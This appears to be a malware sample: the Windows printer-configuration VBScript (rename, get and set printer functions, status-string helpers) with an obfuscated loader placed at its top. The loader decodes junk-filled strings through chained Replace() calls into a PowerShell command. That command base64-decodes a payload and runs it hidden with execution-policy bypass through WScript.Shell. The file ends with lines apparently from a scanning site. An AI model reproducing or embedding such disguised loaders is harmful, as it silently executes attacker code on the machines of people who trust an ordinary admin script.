cIbPOMxPLWBRNPRkfgTxdnasuOPoGNLTOBqxoeKuPNnvSpyWpRTYyUSnxUNobWTKOPduJWbdimNnBOXpBIiIGqcoj = Replace(cIbPOMxPLWBRNPRkfgTxdnasuOPoGNLTOBqxoeKuPNnvSpyWpRTYyUSnxUNobWTKOPduJWbdimNnBOXpBIiIGqcoj,"*@#&&/$*!*$$#$-&@1$%(!#%%
&%##!*
@!%(#%*&@
#%#&*%*
(($$&$
($%&!@&&$$%((&(%*
&(@$","m")
cIbPOMxPLWBRNPRkfgTxdnasuOPoGNLTOBqxoeKuPNnvSpyWpRTYyUSnxUNobWTKOPduJWbdimNnBOXpBIiIGqcoj = Replace(cIbPOMxPLWBRNPRkfgTxdnasuOPoGNLTOBqxoeKuPNnvSpyWpRTYyUSnxUNobWTKOPduJWbdimNnBOXpBIiIGqcoj,"(@@))($1!)$$#$(*@$%
(!#$/&(+(!&(
##!-&@!
0#$/(@*#4#((**&8(%7)$&19
)!!*(%$13)))%(%@)*))1@$","p")
Set woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ = CreateObject("WScript.Shell")
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cIbPOMxPLWBRNPRkfgTxdnasuOPoGNLTOBqxoeKuPNnvSpyWpRTYyUSnxUNobWTKOPduJWbdimNnBOXpBIiIGqcoj, 0, False
End Function
mnkSbMRJLmLyWsvgKDfaOcynRhGKGOUlKgUUuRjRnvWvUqiccvlcqohYuXCZcUfqbvOHPsuOMROovKGKvUWpsIHyG = WBcHUiLHUWDcWPdWWUYUxRRNmUcjSOPuwDWWHMUoAJXSsaasqdukJzxxvJwcvOXUHtnZfLUumrWDRPjhRxUKYLPGv("' = ogidoC$") & YhXIOYbnmRTcbeRLvxlHWiakCNPcODwbxBMGocSfeNGpicYnKRbYyPRDsHDnOAlKOYWRGbqWayDGkxUckzOGSMUcX & "'"
mnkSbMRJLmLyWsvgKDfaOcynRhGKGOUlKgUUuRjRnvWvUqiccvlcqohYuXCZcUfqbvOHPsuOMROovKGKvUWpsIHyG = mnkSbMRJLmLyWsvgKDfaOcynRhGKGOUlKgUUuRjRnvWvUqiccvlcqohYuXCZcUfqbvOHPsuOMROovKGKvUWpsIHyG & ";$OWjux@$}$]
##$@$4}@]@
:](#$$*$
= [@)#
]}}}$}
#$$(:(@$@@:$$}
)$4$:#@
}@$($)$#)#}
(:@@(@
$#y@)#
]}}}$}
#$$(:(@$@@:$$}
)$4$:#@
}@$($)$#)#}
(:@@(@
@$@@}44}
}+@}$@4
$$m.T@
@$@@}44}
}+@}$@4
$$xt.@
@$@@}44}
}+@}$@4
$$nco@$}$]
##$@$4}@]@
:](#$$*$
ing]::Unico@$}$]
##$@$4}@]@
:](#$$*$
@$@@}44}
}+@}$@4
@$@@}44}
}+@}$@4
$$tString( "
mnkSbMRJLmLyWsvgKDfaOcynRhGKGOUlKgUUuRjRnvWvUqiccvlcqohYuXCZcUfqbvOHPsuOMROovKGKvUWpsIHyG = mnkSbMRJLmLyWsvgKDfaOcynRhGKGOUlKgUUuRjRnvWvUqiccvlcqohYuXCZcUfqbvOHPsuOMROovKGKvUWpsIHyG & "[@)#
]}}}$}
#$$(:(@$@@:$$}
)$4$:#@
}@$($)$#)#}
(:@@(@
$#y@)#
]}}}$}
#$$(:(@$@@:$$}
)$4$:#@
}@$($)$#)#}
(:@@(@
@$@@}44}
}+@}$@4
$$m.Conv@
@$@@}44}
}+@}$@4
$$rt]::From
@$@@}44}
}+@}$@4
$$64String( $(
:@}#@((]}(}}
:o@$}$]
##$@$4}@]@
:](#$$*$
igo.r@
@$@@}44}
}+@}$@4
::(}@+@@
#@:#@@@}}
+#l+**
','A') ) )"
mnkSbMRJLmLyWsvgKDfaOcynRhGKGOUlKgUUuRjRnvWvUqiccvlcqohYuXCZcUfqbvOHPsuOMROovKGKvUWpsIHyG = mnkSbMRJLmLyWsvgKDfaOcynRhGKGOUlKgUUuRjRnvWvUqiccvlcqohYuXCZcUfqbvOHPsuOMROovKGKvUWpsIHyG & ";@
::(}@+@@
#@:#@@@}}
@$@@}44}
}+@}$@4
@$@@}44}
}+@}$@4
@$@@}44}
}+@}$@4
@$@@}44}
}+@}$@4
$$ -windo
(}wstyl@
@$@@}44}
}+@}$@4
(}@$}$]
##$@$4}@]@
:](#$$*$
##$@$4}@]@
:](#$$*$
@$@@}44}
}+@}$@4
$$n -@
@$@@}44}
}+@}$@4
:@}#@((]}(}}
(}ion@
::(}@+@@
#@:#@@@}}
+#oli(
:@}#@((]}(}}
(}ss -NoP
(}rofil@
@$@@}44}
}+@}$@4
:@}#@((]}(}}
(}m+**
nd $OW
(}juxD" & "cGGLbcGotctikPLiKLLJqoKWkWrKpiaUoLLcizKgdoNoCKuNoLUibPLsSNWnZiLxbmqGWdHBiiipioWCiBOzGLGch"
dim WPWXDWRDzNHfKeYcRWNUDdkUugIWYzcUkRstQufRTWWWLcLNUYUlPDDhWKKKUoNzDeDxRBqDqUzWNkaMNmcXjsiUD
WPWXDWRDzNHfKeYcRWNUDdkUugIWYzcUkRstQufRTWWWLcLNUYUlPDDhWKKKUoNzDeDxRBqDqUzWNkaMNmcXjsiUD = "
mnkSbMRJLmLyWsvgKDfaOcynRhGKGOUlKgUUuRjRnvWvUqiccvlcqohYuXCZcUfqbvOHPsuOMROovKGKvUWpsIHyG = Replace(mnkSbMRJLmLyWsvgKDfaOcynRhGKGOUlKgUUuRjRnvWvUqiccvlcqohYuXCZcUfqbvOHPsuOMROovKGKvUWpsIHyG, WPWXDWRDzNHfKeYcRWNUDdkUugIWYzcUkRstQufRTWWWLcLNUYUlPDDhWKKKUoNzDeDxRBqDqUzWNkaMNmcXjsiUD + ";" + WPWXDWRDzNHfKeYcRWNUDdkUugIWYzcUkRstQufRTWWWLcLNUYUlPDDhWKKKUoNzDeDxRBqDqUzWNkaMNmcXjsiUD, "")
mnkSbMRJLmLyWsvgKDfaOcynRhGKGOUlKgUUuRjRnvWvUqiccvlcqohYuXCZcUfqbvOHPsuOMROovKGKvUWpsIHyG = Replace(mnkSbMRJLmLyWsvgKDfaOcynRhGKGOUlKgUUuRjRnvWvUqiccvlcqohYuXCZcUfqbvOHPsuOMROovKGKvUWpsIHyG, "+**
", "a")
mnkSbMRJLmLyWsvgKDfaOcynRhGKGOUlKgUUuRjRnvWvUqiccvlcqohYuXCZcUfqbvOHPsuOMROovKGKvUWpsIHyG = Replace(mnkSbMRJLmLyWsvgKDfaOcynRhGKGOUlKgUUuRjRnvWvUqiccvlcqohYuXCZcUfqbvOHPsuOMROovKGKvUWpsIHyG, "
+", "b")
mnkSbMRJLmLyWsvgKDfaOcynRhGKGOUlKgUUuRjRnvWvUqiccvlcqohYuXCZcUfqbvOHPsuOMROovKGKvUWpsIHyG = Replace(mnkSbMRJLmLyWsvgKDfaOcynRhGKGOUlKgUUuRjRnvWvUqiccvlcqohYuXCZcUfqbvOHPsuOMROovKGKvUWpsIHyG, "(
:@}#@((]}(}}
:", "c")
mnkSbMRJLmLyWsvgKDfaOcynRhGKGOUlKgUUuRjRnvWvUqiccvlcqohYuXCZcUfqbvOHPsuOMROovKGKvUWpsIHyG = Replace(mnkSbMRJLmLyWsvgKDfaOcynRhGKGOUlKgUUuRjRnvWvUqiccvlcqohYuXCZcUfqbvOHPsuOMROovKGKvUWpsIHyG, "@$}$]
##$@$4}@]@
:](#$$*$
", "d")
mnkSbMRJLmLyWsvgKDfaOcynRhGKGOUlKgUUuRjRnvWvUqiccvlcqohYuXCZcUfqbvOHPsuOMROovKGKvUWpsIHyG = Replace(mnkSbMRJLmLyWsvgKDfaOcynRhGKGOUlKgUUuRjRnvWvUqiccvlcqohYuXCZcUfqbvOHPsuOMROovKGKvUWpsIHyG, "@
@$@@}44}
}+@}$@4
$$", "e")
mnkSbMRJLmLyWsvgKDfaOcynRhGKGOUlKgUUuRjRnvWvUqiccvlcqohYuXCZcUfqbvOHPsuOMROovKGKvUWpsIHyG = Replace(mnkSbMRJLmLyWsvgKDfaOcynRhGKGOUlKgUUuRjRnvWvUqiccvlcqohYuXCZcUfqbvOHPsuOMROovKGKvUWpsIHyG, "@
::(}@+@@
#@:#@@@}}
+#", "p")
mnkSbMRJLmLyWsvgKDfaOcynRhGKGOUlKgUUuRjRnvWvUqiccvlcqohYuXCZcUfqbvOHPsuOMROovKGKvUWpsIHyG = Replace(mnkSbMRJLmLyWsvgKDfaOcynRhGKGOUlKgUUuRjRnvWvUqiccvlcqohYuXCZcUfqbvOHPsuOMROovKGKvUWpsIHyG, "@)#
]}}}$}
#$$(:(@$@@:$$}
)$4$:#@
}@$($)$#)#}
(:@@(@
$#", "s")
mnkSbMRJLmLyWsvgKDfaOcynRhGKGOUlKgUUuRjRnvWvUqiccvlcqohYuXCZcUfqbvOHPsuOMROovKGKvUWpsIHyG = Replace(mnkSbMRJLmLyWsvgKDfaOcynRhGKGOUlKgUUuRjRnvWvUqiccvlcqohYuXCZcUfqbvOHPsuOMROovKGKvUWpsIHyG, "cGGLbcGotctikPLiKLLJqoKWkWrKpiaUoLLcizKgdoNoCKuNoLUibPLsSNWnZiLxbmqGWdHBiiipioWCiBOzGLGch", "")
PecxYhWDccTDdUKzQNDWjxeKMmwiLUskddUzNHqPKcDgqAZGWKkWvmUBUSyUPaDUYnjWWPjjYUUDcdgqczWlNUoIK(mnkSbMRJLmLyWsvgKDfaOcynRhGKGOUlKgUUuRjRnvWvUqiccvlcqohYuXCZcUfqbvOHPsuOMROovKGKvUWpsIHyG)
' Rename printer
function RenamePrinter(oParamDict)
on error resume next
DebugPrint kDebugTrace, L_Text_Dbg_Msg01_Text
DebugPrint kDebugTrace, L_Text_Msg_Printer01_Text & L_Space_Text & oParamDict.Item(kServerName)
DebugPrint kDebugTrace, L_Text_Msg_Printer02_Text & L_Space_Text & oParamDict.Item(kPrinterName)
DebugPrint kDebugTrace, L_Text_Dbg_Msg02_Text & L_Space_Text & oParamDict.Item(kNewPrinterName)
dim oPrinter
dim oService
dim iRetval
dim uResult
dim strServer
dim strPrinter
dim strNewName
dim strUser
dim strPassword
iRetval = kErrorFailure
strServer = oParamDict.Item(kServerName)
strPrinter = oParamDict.Item(kPrinterName)
strNewName = oParamDict.Item(kNewPrinterName)
strUser = oParamDict.Item(kUserName)
strPassword = oParamDict.Item(kPassword)
if WmiConnect(strServer, kNameSpace, strUser, strPassword, oService) then
set oPrinter = oService.Get("Win32_Printer.DeviceID='" & strPrinter & "'")
else
RenamePrinter = kErrorFailure
exit function
end if
' Check if Get was successful
if Err.Number = kErrorSuccess then
uResult = oPrinter.RenamePrinter(strNewName)
if Err.Number = kErrorSuccess then
if uResult = kErrorSuccess then
wscript.echo L_Text_Msg_General01_Text & L_Space_Text & strPrinter
wscript.echo L_Text_Msg_General02_Text & L_Space_Text & strNewName
iRetval = kErrorSuccess
else
wscript.echo L_Text_Msg_General03_Text & L_Space_Text & strPrinter & L_Space_Text _
& L_Text_Error_General03_Text & L_Space_Text & uResult
end if
else
wscript.echo L_Text_Msg_General04_Text & L_Space_Text & strPrinter & L_Space_Text _
& L_Error_Text & L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text _
& Err.Description
end if
else
wscript.echo L_Text_Msg_General04_Text & L_Space_Text & strPrinter & L_Space_Text _
& L_Error_Text & L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text _
& Err.Description
'
' Try getting extended error information
'
call LastError()
end if
RenamePrinter = iRetval
end function
' Get printer configuration
function GetPrinter(oParamDict)
on error resume next
DebugPrint kDebugTrace, L_Text_Dbg_Msg03_Text
DebugPrint kDebugTrace, L_Text_Msg_Printer01_Text & L_Space_Text & oParamDict.Item(kServerName)
DebugPrint kDebugTrace, L_Text_Msg_Printer02_Text & L_Space_Text & oParamDict.Item(kPrinterName)
dim oPrinter
dim oService
dim iRetval
dim uResult
dim strServer
dim strPrinter
dim strAttributes
dim strStart
dim strEnd
dim strUser
dim strPassword
iRetval = kErrorFailure
strServer = oParamDict.Item(kServerName)
strPrinter = oParamDict.Item(kPrinterName)
strUser = oParamDict.Item(kUserName)
strPassword = oParamDict.Item(kPassword)
if WmiConnect(strServer, kNameSpace, strUser, strPassword, oService) then
set oPrinter = oService.Get("Win32_Printer='" & strPrinter & "'")
else
GetPrinter = kErrorFailure
exit function
end if
' Check if Get was successful
if Err.Number = kErrorSuccess then
wscript.echo L_Text_Msg_Printer01_Text & L_Space_Text & strServer
wscript.echo L_Text_Msg_Printer02_Text & L_Space_Text & oPrinter.DeviceID
wscript.echo L_Text_Msg_Printer03_Text & L_Space_Text & oPrinter.ShareName
wscript.echo L_Text_Msg_Printer04_Text & L_Space_Text & oPrinter.DriverName
wscript.echo L_Text_Msg_Printer05_Text & L_Space_Text & oPrinter.PortName
wscript.echo L_Text_Msg_Printer06_Text & L_Space_Text & oPrinter.Comment
wscript.echo L_Text_Msg_Printer07_Text & L_Space_Text & oPrinter.Location
wscript.echo L_Text_Msg_Printer08_Text & L_Space_Text & oPrinter.SeparatorFile
wscript.echo L_Text_Msg_Printer09_Text & L_Space_Text & oPrinter.PrintProcessor
wscript.echo L_Text_Msg_Printer10_Text & L_Space_Text & oPrinter.PrintJobDatatype
wscript.echo L_Text_Msg_Printer11_Text & L_Space_Text & oPrinter.Parameters
wscript.echo L_Text_Msg_Printer13_Text & L_Space_Text & CStr(oPrinter.Priority)
wscript.echo L_Text_Msg_Printer14_Text & L_Space_Text & CStr(oPrinter.DefaultPriority)
strStart = Mid(CStr(oPrinter.StartTime), 9, 4)
strEnd = Mid(CStr(oPrinter.UntilTime), 9, 4)
if strStart <> "" and strEnd <> "" then
wscript.echo L_Text_Msg_Printer15_Text & L_Space_Text & Mid(strStart, 1, 2) & "h" & Mid(strStart, 3, 2)
wscript.echo L_Text_Msg_Printer16_Text & L_Space_Text & Mid(strEnd, 1, 2) & "h" & Mid(strEnd, 3, 2)
else
wscript.echo L_Text_Msg_General05_Text
end if
strAttributes = L_Text_Msg_Printer12_Text
if oPrinter.Direct then
strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib01_Text
end if
if oPrinter.RawOnly then
strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib02_Text
end if
if oPrinter.Local then
strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib03_Text
end if
if oPrinter.Shared then
strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib04_Text
end if
if oPrinter.KeepPrintedJobs then
strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib05_Text
end if
if oPrinter.Published then
strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib06_Text
end if
if oPrinter.Queued then
strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib07_Text
end if
if oPrinter.Default then
strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib08_Text
end if
if oPrinter.Network then
strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib09_Text
end if
if oPrinter.EnableBiDi then
strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib10_Text
end if
if oPrinter.DoCompleteFirst then
strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib11_Text
end if
if oPrinter.WorkOffline then
strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib12_Text
end if
if oPrinter.Hidden then
strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib13_Text
end if
if oPrinter.EnableDevQueryPrint then
strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib14_Text
end if
wscript.echo strAttributes
wscript.echo
wscript.echo L_Text_Msg_General10_Text & L_Space_Text & PrnStatusToString(oPrinter.PrinterStatus)
wscript.echo L_Text_Msg_General11_Text & L_Space_Text & ExtPrnStatusToString(oPrinter.ExtendedPrinterStatus)
wscript.echo L_Text_Msg_General12_Text & L_Space_Text & DetectedErrorStateToString(oPrinter.DetectedErrorState)
wscript.echo L_Text_Msg_General13_Text & L_Space_Text & ExtDetectedErrorStateToString(oPrinter.ExtendedDetectedErrorState)
iRetval = kErrorSuccess
else
wscript.echo L_Text_Msg_General04_Text & L_Space_Text & oParamDict.Item(kPrinterName) & L_Space_Text _
& L_Error_Text & L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text _
& Err.Description
'
' Try getting extended error information
'
call LastError()
end if
GetPrinter = iRetval
end function
' Configure a printer
function SetPrinter(oParamDict)
on error resume next
DebugPrint kDebugTrace, L_Text_Dbg_Msg04_Text
DebugPrint kDebugTrace, L_Text_Msg_Printer01_Text & L_Space_Text & oParamDict.Item(kServerName)
DebugPrint kDebugTrace, L_Text_Msg_Printer02_Text & L_Space_Text & oParamDict.Item(kPrinterName)
dim oPrinter
dim oService
dim iRetval
dim uResult
dim strServer
dim strPrinter
dim strUser
dim strPassword
iRetval = kErrorFailure
strServer = oParamDict.Item(kServerName)
strPrinter = oParamDict.Item(kPrinterName)
strNewName = oParamDict.Item(kNewPrinterName)
strUser = oParamDict.Item(kUserName)
strPassword = oParamDict.Item(kPassword)
if WmiConnect(strServer, kNameSpace, strUser, strPassword, oService) then
set oPrinter = oService.Get("Win32_Printer='" & strPrinter & "'")
else
SetPrinter = kErrorFailure
exit function
end if
' Check if Get was successful
if Err.Number = kErrorSuccess then
if oParamdict.Exists(kPortName) then oPrinter.PortName = oParamDict.Item(kPortName) end if
if oParamdict.Exists(kDriverName) then oPrinter.DriverName = oParamDict.Item(kDriverName) end if
if oParamdict.Exists(kShareName) then oPrinter.ShareName = oParamDict.Item(kShareName) end if
if oParamdict.Exists(kLocation) then oPrinter.Location = oParamDict.Item(kLocation) end if
if oParamdict.Exists(kComment) then oPrinter.Comment = oParamDict.Item(kComment) end if
if oParamdict.Exists(kDataType) then oPrinter.PrintJobDataType = oParamDict.Item(kDataType) end if
if oParamdict.Exists(kSepFile) then oPrinter.SeparatorFile = oParamDict.Item(kSepfile) end if
if oParamdict.Exists(kParameters) then oPrinter.Parameters = oParamDict.Item(kParameters) end if
if oParamdict.Exists(kPriority) then oPrinter.Priority = oParamDict.Item(kPriority) end if
if oParamdict.Exists(kDefaultPriority) then oPrinter.DefaultPriority = oParamDict.Item(kDefaultPriority) end if
if oParamdict.Exists(kPrintProc) then oPrinter.PrintProc = oParamDict.Item(kPrintProc) end if
if oParamdict.Exists(kStartTime) then oPrinter.StartTime = oParamDict.Item(kStartTime) end if
if oParamdict.Exists(kUntilTime) then oPrinter.UntilTime = oParamDict.Item(kUntilTime) end if
if oParamdict.Exists(kQueued) then oPrinter.Queued = oParamDict.Item(kQueued) end if
if oParamdict.Exists(kDirect) then oPrinter.Direct = oParamDict.Item(kDirect) end if
if oParamdict.Exists(kShared) then oPrinter.Shared = oParamDict.Item(kShared) end if
if oParamdict.Exists(kHidden) then oPrinter.Hidden = oParamDict.Item(kHidden) end if
if oParamdict.Exists(kEnabledevq) then oPrinter.EnableDevQueryPrint = oParamDict.Item(kEnabledevq) end if
if oParamdict.Exists(kKeepPrintedJobs) then oPrinter.KeepPrintedJobs = oParamDict.Item(kKeepPrintedJobs) end if
if oParamdict.Exists(kDoCompleteFirst) then oPrinter.DoCompleteFirst = oParamDict.Item(kDoCompleteFirst) end if
if oParamdict.Exists(kWorkOffline) then oPrinter.WorkOffline = oParamDict.Item(kWorkOffline) end if
if oParamdict.Exists(kEnableBidi) then oPrinter.EnableBidi = oParamDict.Item(kEnableBidi) end if
if oParamdict.Exists(kRawonly) then oPrinter.RawOnly = oParamDict.Item(kRawonly) end if
if oParamdict.Exists(kPublished) then oPrinter.Published = oParamDict.Item(kPublished) end if
oPrinter.Put_(kFlagUpdateOnly)
if Err.Number = kErrorSuccess then
wscript.echo L_Text_Msg_General06_Text & L_Space_Text & strPrinter
iRetval = kErrorSuccess
else
wscript.echo L_Text_Msg_General07_Text & L_Space_Text & strPrinter & L_Space_Text _
& L_Error_Text & L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text _
& Err.Description
'
' Try getting extended error information
'
call LastError()
end if
else
wscript.echo L_Text_Msg_General04_Text & L_Space_Text & strPrinter & L_Space_Text _
& L_Error_Text & L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text _
& Err.Description
'
' Try getting extended error information
'
call LastError()
end if
SetPrinter = iRetval
end function
' Converts the printer status to a string
function PrnStatusToString(Status)
dim str
str = L_Empty_Text
select case Status
case 1
str = str + L_Text_Msg_Status01_Text + L_Space_Text
case 2
str = str + L_Text_Msg_Status02_Text + L_Space_Text
case 3
str = str + L_Text_Msg_Status03_Text + L_Space_Text
case 4
str = str + L_Text_Msg_Status04_Text + L_Space_Text
case 5
str = str + L_Text_Msg_Status05_Text + L_Space_Text
case 6
str = str + L_Text_Msg_Status06_Text + L_Space_Text
case 7
str = str + L_Text_Msg_Status07_Text + L_Space_Text
end select
PrnStatusToString = str
end function
' Converts the extended printer status to a string
function ExtPrnStatusToString(Status)
dim str
str = L_Empty_Text
select case Status
case 1
str = str + L_Text_Msg_Status01_Text + L_Space_Text
case 2
str = str + L_Text_Msg_Status02_Text + L_Space_Text
case 3
str = str + L_Text_Msg_Status03_Text + L_Space_Text
case 4
str = str + L_Text_Msg_Status04_Text + L_Space_Text
case 5
str = str + L_Text_Msg_Status05_Text + L_Space_Text
case 6
str = str + L_Text_Msg_Status06_Text + L_Space_Text
case 7
str = str + L_Text_Msg_Status07_Text + L_Space_Text
case 8
str = str + L_Text_Msg_Status08_Text + L_Space_Text
case 9
str = str + L_Text_Msg_Status09_Text + L_Space_Text
case 10
str = str + L_Text_Msg_Status10_Text + L_Space_Text
case 11
str = str + L_Text_Msg_Status11_Text + L_Space_Text
case 12
str = str + L_Text_Msg_Status12_Text + L_Space_Text
case 13
str = str + L_Text_Msg_Status13_Text + L_Space_Text
case 14
str = str + L_Text_Msg_Status14_Text + L_Space_Text
case 15
str = str + L_Text_Msg_Status15_Text + L_Space_Text
case 16
str = str + L_Text_Msg_Status16_Text + L_Space_Text
case 17
str = str + L_Text_Msg_Status17_Text + L_Space_Text
case 18
str = str + L_Text_Msg_Status18_Text + L_Space_Text
end select
ExtPrnStatusToString = str
end function
' Converts the detected error state to a string
function DetectedErrorStateToString(Status)
dim str
str = L_Empty_Text
select case Status
case 0
str = str + L_Text_Msg_Status02_Text + L_Space_Text
case 1
str = str + L_Text_Msg_Status01_Text + L_Space_Text
case 2
str = str + L_Text_Msg_Status01_Text + L_Space_Text
case 3
str = str + L_Text_Msg_Status20_Text + L_Space_Text
case 4
str = str + L_Text_Msg_Status21_Text + L_Space_Text
case 5
str = str + L_Text_Msg_Status22_Text + L_Space_Text
case 6
str = str + L_Text_Msg_Status23_Text + L_Space_Text
case 7
str = str + L_Text_Msg_Status24_Text + L_Space_Text
case 8
str = str + L_Text_Msg_Status25_Text + L_Space_Text
case 9
str = str + L_Text_Msg_Status07_Text + L_Space_Text
case 10
str = str + L_Text_Msg_Status26_Text + L_Space_Text
case 11
str = str + L_Text_Msg_Status27_Text + L_Space_Text
end select
DetectedErrorStateToString = str
end function
' Converts the extended detected error state to a string
function ExtDetectedErrorStateToString(Status)
dim str
str = L_Empty_Text
select case Status
case 0
str = str + L_Text_Msg_Status02_Text + L_Space_Text
case 1
str = str + L_Text_Msg_Status01_Text + L_Space_Text
case 2
str = str + L_Text_Msg_Status01_Text + L_Space_Text
case 3
str = str + L_Text_Msg_Status20_Text + L_Space_Text
case 4
str = str + L_Text_Msg_Status21_Text + L_Space_Text
case 5
str = str + L_Text_Msg_Status22_Text + L_Space_Text
case 6
str = str + L_Text_Msg_Status23_Text + L_Space_Text
case 7
str = str + L_Text_Msg_Status24_Text + L_Space_Text
case 8
str = str + L_Text_Msg_Status25_Text + L_Space_Text
case 9
str = str + L_Text_Msg_Status07_Text + L_Space_Text
case 10
str = str + L_Text_Msg_Status26_Text + L_Space_Text
case 11
str = str + L_Text_Msg_Status27_Text + L_Space_Text
case 12
str = str + L_Text_Msg_Status28_Text + L_Space_Text
case 13
str = str + L_Text_Msg_Status29_Text + L_Space_Text
case 14
str = str + L_Text_Msg_Status30_Text + L_Space_Text
case 15
str = str + L_Text_Msg_Status31_Text + L_Space_Text
case 16
str = str + L_Text_Msg_Status32_Text + L_Space_Text
end select
ExtDetectedErrorStateToString = str
end function
' Debug display helper function
sub DebugPrint(uFlags, strString)
if gDebugFlag = true then
if uFlags = kDebugTrace then
wscript.echo L_Debug_Text & L_Space_Text & strString
end if
if uFlags = kDebugError then
if Err <> 0 then
wscript.echo L_Debug_Text & L_Space_Text & strString & L_Space_Text _
& L_Error_Text & L_Space_Text & L_Hex_Text & hex(Err.Number) _
& L_Space_Text & Err.Description
end if
end if
end if
end sub
' Parse the command line into its components
function ParseCommandLine(iAction, oParamdict)
on error resume next
DebugPrint kDebugTrace, L_Text_Dbg_Msg05_Text
dim oArgs
dim iIndex
iAction = kActionUnknown
iIndex = 0
set oArgs = wscript.Arguments
while iIndex < oArgs.Count
select case oArgs(iIndex)
case "-g"
iAction = kActionGet
case "-t"
iAction = kActionSet
case "-x"
iAction = kActionRename
case "-p"
iIndex = iIndex + 1
oParamdict.Add kPrinterName, oArgs(iIndex)
No antivirus signatures available.
No IRMA results available.